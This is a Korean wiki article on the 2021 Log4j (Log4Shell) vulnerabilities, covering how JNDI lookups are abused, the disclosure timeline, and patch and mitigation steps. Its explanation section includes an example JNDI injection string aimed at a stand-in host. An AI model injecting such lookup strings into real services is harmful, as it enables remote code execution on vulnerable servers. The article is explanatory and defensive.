최근 수정 시각 : 2024-03-24 08:12:32

Log4j 보안 취약점 사태

2021년 자바 보안 취약점 사태에서 넘어옴
이 문서는
이 문단은
토론을 통해 'Log4j 보안 취약점 사태'로 표제어 변경으로 합의되었습니다. 합의된 부분을 토론 없이 수정할 시 편집권 남용으로 간주되어 제재될 수 있습니다.
아래 토론들로 합의된 편집방침이 적용됩니다. 합의된 부분을 토론 없이 수정할 시 편집권 남용으로 간주되어 제재될 수 있습니다.
[ 내용 펼치기 · 접기 ]
||<table width=100%><table bordercolor=#ffffff,#1f2023><bgcolor=#ffffff,#1f2023><(> 토론 - 'Log4j 보안 취약점 사태'로 표제어 변경으
토론 - 합의사항2
토론 - 합의사항3
토론 - 합의사항4
토론 - 합의사항5
토론 - 합의사항6
토론 - 합의사항7
토론 - 합의사항8
토론 - 합의사항9
토론 - 합의사항10
토론 - 합의사항11
토론 - 합의사항12
토론 - 합의사항13
토론 - 합의사항14
토론 - 합의사항15
토론 - 합의사항16
토론 - 합의사항17
토론 - 합의사항18
토론 - 합의사항19
토론 - 합의사항20
토론 - 합의사항21
토론 - 합의사항22
토론 - 합의사항23
토론 - 합의사항24
토론 - 합의사항25
토론 - 합의사항26
토론 - 합의사항27
토론 - 합의사항28
토론 - 합의사항29
토론 - 합의사항30
토론 - 합의사항31
토론 - 합의사항32
토론 - 합의사항33
토론 - 합의사항34
토론 - 합의사항35
토론 - 합의사항36
토론 - 합의사항37
토론 - 합의사항38
토론 - 합의사항39
토론 - 합의사항40
토론 - 합의사항41
토론 - 합의사항42
토론 - 합의사항43
토론 - 합의사항44
토론 - 합의사항45
토론 - 합의사항46
토론 - 합의사항47
토론 - 합의사항48
토론 - 합의사항49
토론 - 합의사항50
||



주의. 사건·사고 관련 내용을 설명합니다.

이 문서는 실제로 일어난 사건·사고의 자세한 내용과 설명을 포함하고 있습니다.

1. 개요2. 설명
2.1. Log4j2.2. 원리2.3. 취약점이 만들어진 경위
3. 전개4. 해외 자료
4.1. 보도 자료4.2. 보안 블로그4.3. 기타
5. 국내 자료
5.1. 보도 자료5.2. 보안 블로그
6. 대응 방안
6.1. log4j 2.x 이상6.2. 2.15.0 이상에서6.3. log4j 1.26.4. Logback으로 교체시 유의점
7. 여담

1. 개요
Log4j의 취약점을 보도한 KBS의 기사
CVE-2021-44228[1],CVE-2021-45046[2], CVE-2021-45105[3], CVE-2021-4104[4], CVE-2021-44832[5] 아파치 소프트웨어 재단의 Java 프로그래밍 언어로 제작된 Log4j 라이브러리[6]를 사용하는 대부분의 인터넷 서비스에서 매우 중대한 보안 취약점이 발견된 사건.

테나블(Tenable)에서는 이 사태를 ' 하트블리드와 CPU 게이트 따위는 비교도 안 될 만큼, 컴퓨터 인터넷 역사를 통틀어 사상 최악의 보안 결함일 수도 있다'고 경고했다.[7]

2. 설명

2.1. Log4j

파일:Apache_Log4j_Logo.png
Log4j의 로고
Log4j는 Java/ Kotlin/ Scala/ Groovy/ Clojure 언어로 만든 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가해서 실행 시 자동으로 지정한 경로에 로그를 저장한다.

2.2. 원리

하트블리드 사태와 비슷하게 이 취약점 사태 또한 여파와 다르게 취약점의 원리가 간단하다.

우선 이 취약점은 JNDI와 LDAP를 이용한다. JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이다. Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.

JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 이 LDAP가 이번 취약점에 가장 중요한 포인트이다.

Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.

이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.

이런 문법은 로그가 기록될 때도 사용이 가능했고, 결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.

2.3. 취약점이 만들어진 경위

링크의 이슈로부터 시작되었다. Lookup 플러그인에 jndi을 추가하는 게 이 이슈의 목적이었고, 추가된 jndi를 통해 취약점이 발생하게 된 것이다.

이 패치는 이슈에서 보다시피 2.0-beta9 버전에 적용되었고 이 사태가 벌어지기까지 약 8년이라는 오랜 기간 동안 방치되었다.
하지만 1.2의 JMSAppender 클래스의 취약점이 발견되면서 모든 버전에 대한 취약점 여파가 커졌다.

3. 전개

해당 버그는 2021년 11월 24일, 알리바바 클라우드 보안팀의 첸 자오준(陈兆军)이 발견했다.

2021년 11월 30일, 해당 문제를 수정하는 PR이 log4j 깃허브에 올라왔다 #.

2021년 12월 9일이 되기 수일 전부터 해당 취약점을 이용한 시도가 있었을 것으로 추정되며, 12/09 23:25 KST,[8] 트위터에 한 게시글(삭제됨)이 올라옴으로써 본격적으로 알려지기 시작했다.

12/10 04:15 KST,[9] PaperMC가 자사 Discord 서버를 이용하여 긴급 공지를 전송함으로써 이슈가 크게 번지기 시작했다. 내용의 요지는 이 글을 보는 즉시 긴급 패치된 파일로 업데이트하라는 것.[10] 이후 이 사건에 대한 내용이 밝혀지기 시작했다.

12/10 09:40 KST,[11] 오픈소스 코드 저장소로 알려진 GitHub에서 운영하는 GitHub Advisory Database[12]에 CVE-2021-44228 취약점이 게재되었다.

이후 12:44 KST,[13] 마인크래프트의 기술 책임자가 본인 트위터를 통해 "마인크래프트에 영향을 미치는 중요한 보안 문제가 발견되어 수정하였다."고 발표하였다.[14] 이어 최신 버전만 적용되었기에1.7~1.16.5 버전의 서버의 경우 시작 명령줄에 특정 인수를 직접 추가해야 한다.[15] 단, 버전 1.7보다 낮은 버전의 마인크래프트는 해당 취약점의 영향을 받지 않는다고 하였다. 동일한 내용은 마인크래프트 공식 사이트에도 첨부되었다.

ArsTechnica는 특집 기사를 통해 이 사건을 보도하였으며, 마인크래프트는 시작일 뿐이다라는 점을 분명히 했다. 문제가 된 것은 Log4j 라이브러리의 취약점(명령어를 실행시킬 수 있다는) 때문인데, 이것은 현재 대부분의 자바 웹프로그래밍 서버에서 사용되고 있는 라이브러리이기 때문에 Apple이나 Twitter 등등에도 이 버그가 영향을 미칠 수 있다고 AP통신이 보도했다.

또한 이 이슈가 문제가 되는 것은 "서버에 로그인한 것만으로 해커가 사용자의 컴퓨터를 사실상 원격 조종할 수 있는 것[16]이기 때문이다."라고 경고했다.

뉴질랜드 정부는 이 버그가 공개된 지 몇 시간이 지나지 않았지만 이미 많은 공격이 이루어지고 있다고 정부 보도를 통해 발표하고 이어 이용자들의 대응 방안까지 소개하였다.

아파치 소프트웨어는 이 버그가 11월 24일 알리바바에 의해 보고된 사항이라 밝혔다고 NPR이 보도하였다.

팔로알토 네트워크[17]의 Unit 42(정보보호 연구소)는 10일 밤 10시 5분(한국 시간 기준) 연구소 블로그에서 취약점에 대한 요약과 영향받는 버전[18]과 영향받는 소프트웨어[19]를 나열하며 실제 취약점이 영향을 주는 방식과 조치가 가능한 방법을 간략하게 설명했다.

이 취약점의 대상으로 알려진[20] 클라우드플레어에서는 서버가 공격받은 흔적은 아직까진 없었다는 소식을 전했다. Cloudflare의 CEO인 매튜는 이 취약점 사태를 인지하고 있으며, 이것이 너무 심각하기 때문에 유료 서비스를 이용하지 않는 고객이라도 클라우드플레어의 보안 서비스를 통해 어느 정도는 방어가 가능한 해결책을 제공할 것임을 밝혔다. 하지만 로그 기능을 사용해야 하기 때문에 Log4j의 모든 취약점을 막을 수는 없다고도 밝혔다.

NSA의 사이버 보안 이사 롭은 이 취약점이 NSA의 소프트웨어 프레임워크[21]에 광범위하게 포함되어 있기 때문에 악용에 대한 심각한 위협이라고 밝혔다.

일본의 정보보도매체인 ITMedia는 iCloud와 Steam에서도 이 취약점이 이용 가능하다고 보도했다.

KISA는 2021년 12월 11일 보안공지를 통해 영향을 받는 버전 별로 해결할 수 있는 방법을 게시했다. 이후 국정원은 국내 언론 보도에서 "11일 자정부터 해당 이슈에 대응했으며, 정부와 공공기관 측에 취약점 패치 적용 및 보안 대책을 구축되어 있는 시스템[22]을 통해 안내했다"고 밝혔다.

Apple은 2021년 12월 11일에 iCloud에서 보안 취약점 패치를 완료했다. macOS에서는 애초에 이 보안 취약점이 적용되지 않는다고 한다. 관련 기사( 번역문)

KISA는 2021년 12월 15일 보안공지의 내용을 추가하여, log4j 1.2 버전의 취약점을 공개하였다. 조치 방법 또한 공개하였다. 후술할 내용이 조치법이 나와 있다.

4. 해외 자료

4.1. 보도 자료

4.2. 보안 블로그

4.3. 기타

5. 국내 자료

5.1. 보도 자료

5.2. 보안 블로그

6. 대응 방안

현재 2.17.0 버전의 새로운 취약점 CVE-2021-44832이 발견되었으므로 2.17.1 버전으로 업데이트를 해야 된다.

국가사이버안보센터의 보안패치 권고
Spring에서 소개한 대응 방안(영문)
KISA 보안공지(2021년 12월 11일)
Tenable의 취약점 소개 및 대응 방안(영문)(비공식)
전자정부프레임워크 Log4j 보안 업데이트 긴급공지[23]
CVE-2021-44228 스캐너[24]
마인크래프트 서버, Log4j 원격 코드 실행(RCE) 취약점 임시 조치 방법

주요 방법으로는 log4j에서 JNDI 파싱을 하지 못하게 막는 것이 중요하다. 이 파싱 기능이 원격 코드 실행 취약점을 불러일으키기 때문에 보안 구멍이 생기므로, 이를 패치하거나 비활성화는 것이 핵심 방법이다.

취약점은 log4j 2버전 이상에만 해당하는 것으로 1.x 버전에는 해당하지 않는다. 물론 log4j 1.x 버전은 이미 지원 종료된 버전이고, log4j 2.x와는 다른 별도의 RCE[25] 취약점이 있으므로 구 버전으로 돌아가는 것은 절대로 추천할 만한 행위가 아니므로 하지 말자. 1.x 버전을 사용하는 대표적인 예로 전자정부표준프레임워크의 구버전이 있는데 이것을 비꼬는 글도 올라오기도 했다. 링크

6.1. log4j 2.x 이상

  • 가장 안전한 방법은 log4j 를 2.17.1 이상으로 올리는 것이다. 하지만 이 방법은 Java 8이 필요하다.
  • Java 7이라면 2.12.4 버전을 사용하면 된다.
  • Java 6이라면 2.3.2 버전을 사용하면 된다.
  • log4j 2.10.0 이상 사용 시 다음의 방법 중 한 가지 이상의 방법을 사용한다.
    소속 보안팀에 따라 대응 승인 여부가 달라질 수 있으므로 논의 후 조치하는 것이 좋다.
    • Java 실행 인자(Arguments)에 시스템 속성을 추가한다. -Dlog4j2.formatMsgNoLookups=true
    • Java 실행 계정의 환경 변수 혹은 시스템 변수로 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정한다.
  • log4j 2.7.0 이상 사용 시 log4j 설정(log4j.xml 등)에 PatternLayout 속성에 있는 %m 부분을 %m{nolookups} 으로 교체한다. 2.16.0 이상에서는 %m을 사용해도 자동으로 nolookups로 처리된다.
    소속 보안팀에 따라 대응 승인 여부가 달라질 수 있으므로 논의 후 조치하는 것이 좋다.
  • log4j 상기버전 미만일 경우 가장 어려운 상황으로, JndiLookup 클래스와 JndiManager 클래스를 읽지 못하도록 조치해야 한다. log4j-core.jar 를 직접 빌드하거나, 자바 프로젝트에 패키지명까지 맞춰가면서 dummy화 시켜야 한다. 이 방법은 위에 링크한 KISA 인터넷 보호나라에서 쉽게 대응할 수 있는 방안을 제공하니까 반드시 열람하도록 한다.
    소속 보안팀에서 가장 권장하고 있는 방법으로 소개할 것이다.
    {{{zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
}}}
  • logback 등 다른 로깅 모듈로의 교체를 검토한다. Spring 블로그에서 소개한 것과 같이 spring-boot-starter-logging 패키지를 변형없이 그대로 사용하면 이번 취약점에 큰 문제가 없을 수 있으나, 다른 패키지가 log4j-core에 의존하고 있을 가능성이 있으므로 실제 포함 여부를 의존성 트리 구조(dependency hierarchy)를 통해 확인해야 한다. 정 불안하다면 log4j-api 등 다른 log4j 패키지도 업데이트 하면 된다.
    단, 후술하겠지만, logback 교체시에는 가장 최신인 1.2.9 이상 버전으로 사용한다.

6.2. 2.15.0 이상에서

2.15.0 이상으로 업데이트 했어도 설정에 따라 취약점 CVE-2021-45046, CVE-2021-44832에 노출될 수 있다. 따라서 다음 설정이 명시되지 않았는지 확인한다. 명시된 설정은 모두 제거하고, 빠른 시일 내에 2.17.1 으로 업데이트 하는 것을 추천한다.
  • -Dlog4j2.formatMsgNoLookups=false
  • LOG4J_FORMAT_MSG_NO_LOOKUPS=false

2.16.0 이상에는 log4j.enableJndi 설정이 기본값 false로 추가되었다. 따라서 다음 설정도 제거한다.
  • -Dlog4j.enableJndi=true
2.16에서도 다음 보안 이슈가 CVE-2021-45105 발생하였다.(서버 과부하를 발생시켜 웹 사이트와 서비스를 사용할 수 없도록 할 수 있다.)

2.17.0 버전이 CVE-2021-44832에 영향받는 것으로 확인되었다. ( KISA 링크) 취약점을 수정한 2.17.1 버전이 CVE 공개와 거의 동시에 나왔다.

6.3. log4j 1.2

KISA 보안공지에 새로운 내용이 추가되었는데, log4j 1.2 버전에서도 같은 취약점이 발견되어 조치가 필요한 상황이다.

공식에서 대응방안에 따르면, JMSAppender 를 log4j.xml 등의 세팅 파일에 사용하지 않는 것이 좋지만,
원천적으로 차단하는 것이 확실하므로 후술할 압축 파일 내 클래스 삭제 방식을 추천한다.

물론 가장 최선의 방법은 log4j 모듈 대신 logback 등의 대체 로깅 모듈을 사용하는 것이다.
그러나 이 모듈을 사용하는 시스템은 기존 시스템이 대부분이라 제거가 곤란하므로, 아래 명령어로 조치를 취해야 한다.
#!syntax sh
zip -d log4j-1.2.*.jar org/apache/log4j/net/JMSAppender.class

log4j 모듈 내 JMSAppender 클래스를 삭제하여 취약점을 원천 차단 후 운영하는 방법이 권장된다.

6.4. Logback으로 교체시 유의점

현재 Logback에도 유사한 취약점 CVE-2021-42550이 발견된 상태이므로 logback으로 교체시에는 가장 최신인 1.2.9이상 버전으로 패치가 필요하다. 단, 이 취약점은 아래 조건에 모두 해당되어야 공격이 가능하므로 하기 항목을 반드시 점검한다.
  • logback 1.2.9 이상인지 확인한다. 가능하다면 1.2.9 이상으로 패치하면 된다.
  • logback.xml 등의 로그 설정 파일의 편집 권한을 확인한다. 사용자 자신만 편집할 수 있으면 된다.
  • 공격자가 원격으로 서버를 정지 및 가동 가능한지, logback 설정에 scan="true" 속성이 포함되어 있는지 확인한다.

7. 여담

이 GitHub Gist 문서는 독일의 한 Java 개발자가 Log4Shell과 관련된 OpenJDK의 Security Patch의 기록을 찾은 것을 남겨놓은 문서이다. 해당 보안 패치는 JDK-8158997, JDK-8199177이며, 기본적으로 원격 조종이 가능한 부분이므로 비활성화가 기본 값으로 설정되었는데 해당 보안 패치의 최종 버전은 8u161, 11.0.1 또는 12 이상이다.[26]

이 내용은 Crowdstrike 블로그 글에도 2019년부터 기본 설정을 통해 일정 부분은 막을 수 있었다고 설명하고 있는 부분이다. 그러나 다 막을 수 있다는 게 절대 아니다. 근본적으로 Log4j 라이브러리의 해당 모듈에 문제가 있는 만큼, 해당 모듈 자체의 기능을 끄거나 모듈 자체를 제거해야 조치가 가능한 부분인 것이다.[27] 참고로 JDK 버전 별로 해당 보안 패치가 적용되어 안전한 버전은 다음과 같다.[28]
보안패치 적용 JDK 버전
<rowcolor=#ffffff> Major Minor[29]
8 8u191( 2018/10/16 GA)
11 11.0.1( 2018/10/16 GA)
12 이상[30] 모든 버전에 포함되어 있음.

마이크로소프트는 마인크래프트에서 이슈가 최초로 발견된만큼 문서에서 빠르게 패치가 되지 않을까 예상되었는데, 애저 SDK의 로깅 사용 개발 안내 문서에는 2.15.0를 사용하도록 수정되어 있으나 GitHub에는 이전 버전인 2.14.0로 가이드되어 있는 일종의 동기화가 되지 않는 상황이 발생하기도 했다.
파일:2021-12-12-azure-concepts-logging-log4j.png
파일:2021-12-12-db1d25c.png
국내와 해외 업체에서 테스트 툴을 공개했다.
이 취약점으로 마인크래프트에서 둠을 실행할 수 있다. # 서버에 접속하는 것만으로도 임의의 코드를 실행할 수 있다는 점에서 이 취약점의 무서움을 엿볼 수 있다.

[1] Log4Shell 혹은 LogJam이라고 명명될 예정이었으나 LogJam이란 이름을 쓰는 다른 취약점이 있어서 Log4Shell이 되었다. [2] Log4j 2.15.0에서 새로이 발견 [3] Log4j 2.16.0에서 새로이 발견 [4] Log4j 1.2에서 발견 [5] Log4j 2.17.0에서 발견 [6] 해당 취약점에서 지적한 취약한 부분은 Log4j 2.17.1 버전 미만의 라이브러리 중 Log4j-core 모듈을 의미한다. [7] "일 수도 있다"고 추정한 이유는 해당 모듈은 자바의 일반적인 프로그램에 사용 가능한 모듈인 만큼 사용 규모를 파악하기 어렵기 때문에 굉장히 강조한 것으로 보인다. [8] 12/09 09:25 EST [9] 12/09 14:15 EST [10] 일정 규모 이상의 서버를 운영하는 담당자의 제보가 있어야 조사 후 수정과 보완에 들어가는 PaperMC의 특성상 이미 공격이 큰 범위로 진행되었을 것이라고 추정된다. [11] 12/09 19:40 EST [12] 오픈소스 소프트웨어의 알려진 보안 취약점에 대한 데이터베이스 웹 사이트 [13] 12/09 22:44 EST [14] 1.18.1 버전이 나오게 되었다. [15] 유저 클라이언트는 자동으로 업데이트 되었다. 단 서드파티 런처를 사용할 경우 업데이트 적용이 안될 수 있으니 확인이 필요하다. [16] Remote Code Excecution [17] Paloalto Network. 실리콘밸리에 위치한 미국의 보안회사로, 애플리케이션 기반의 보안정책을 제공하는 네트워크 보안장비 회사이다. [18] Apache Log4j 2.x <= 2.15.0-rc1 [19] Apache Struts, Apache Solr, Apache Druid, Apache Flink, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2 [20] AP통신 보도 기준 Cloudflare, Twitter, Apple, 아마존닷컴이 해당된다. [21] GHIDRA 라고 부르는 부분 [22] 국가 사이버 위협정보공유시스템(NCTI), 인터넷용 정보공유시스템(KCTI), 사이버안보센터 홈페이지, KISA 인터넷 보호나라(KrCERT) [23] 2014년 출시된 3.x~4.0beta까지 전체 버전 [24] 옵션에 따라 log4j 1 버전이나 logback도 테스트가 가능하며, CSV포맷으로 리포트도 생성이 가능하다. [25] CVE-2021-4104 [26] 참고로 현재 JDK 8의 버전은 8u311이다. [27] GitHub의 관련 이슈의 한 아파치 재단 멤버가 이렇게 적었다. "문제를 완화하기 위해 JRE/JDK 버전을 찾고 있는 분들은 그러지 마세요! CVE-2021-44228은 공격자의 구상에 따라 큰 공격 표면을 생성하고, RCE는 그 중 하나일 뿐입니다. (이하 생략) #" [28] 보안 패치를 적용한다고 해서 Log4j 취약점을 벗어날 수 있는 것은 아니지만, Log4jShell 취약점이 JDK 보안 패치가 된 과거의 취약점을 이용할 수 있기 때문에, 상위 버전으로 업그레이드를 고려하는 것은 바람직하다고 볼 수 있다. [29] 가장 마지막 보안 패치를 한 버전의 릴리즈 버전만 기록합니다. [30] Java는 2018년부터 릴리즈 주기의 변화를 단행하여 현재 8, 11, 17, 21이 LTS로 내정되어 있으며, 2021/12/12 현재 최신버전은 17.0.1임. 자세한 내용은 오라클 블로그 글과 java.com의 JDK Release 페이지를 참고할 것. [31] CVE-2021-44228, CVE-2021-45046 취약점을 포함한 log4j를 사용 중인 프로젝트를 탐지해 주고 이에 따라 업데이트 정보를 안내함. [32] 테스트 툴 사용시 인터넷에 사용하는 경우 경찰 및 통신사로부터 바로 연락이 와 범죄 여부를 의심받을 수 있으니, 반드시 외부 접촉이 없는 내부 환경에서 테스트 및 시연용으로만 활용해야 합니다.

분류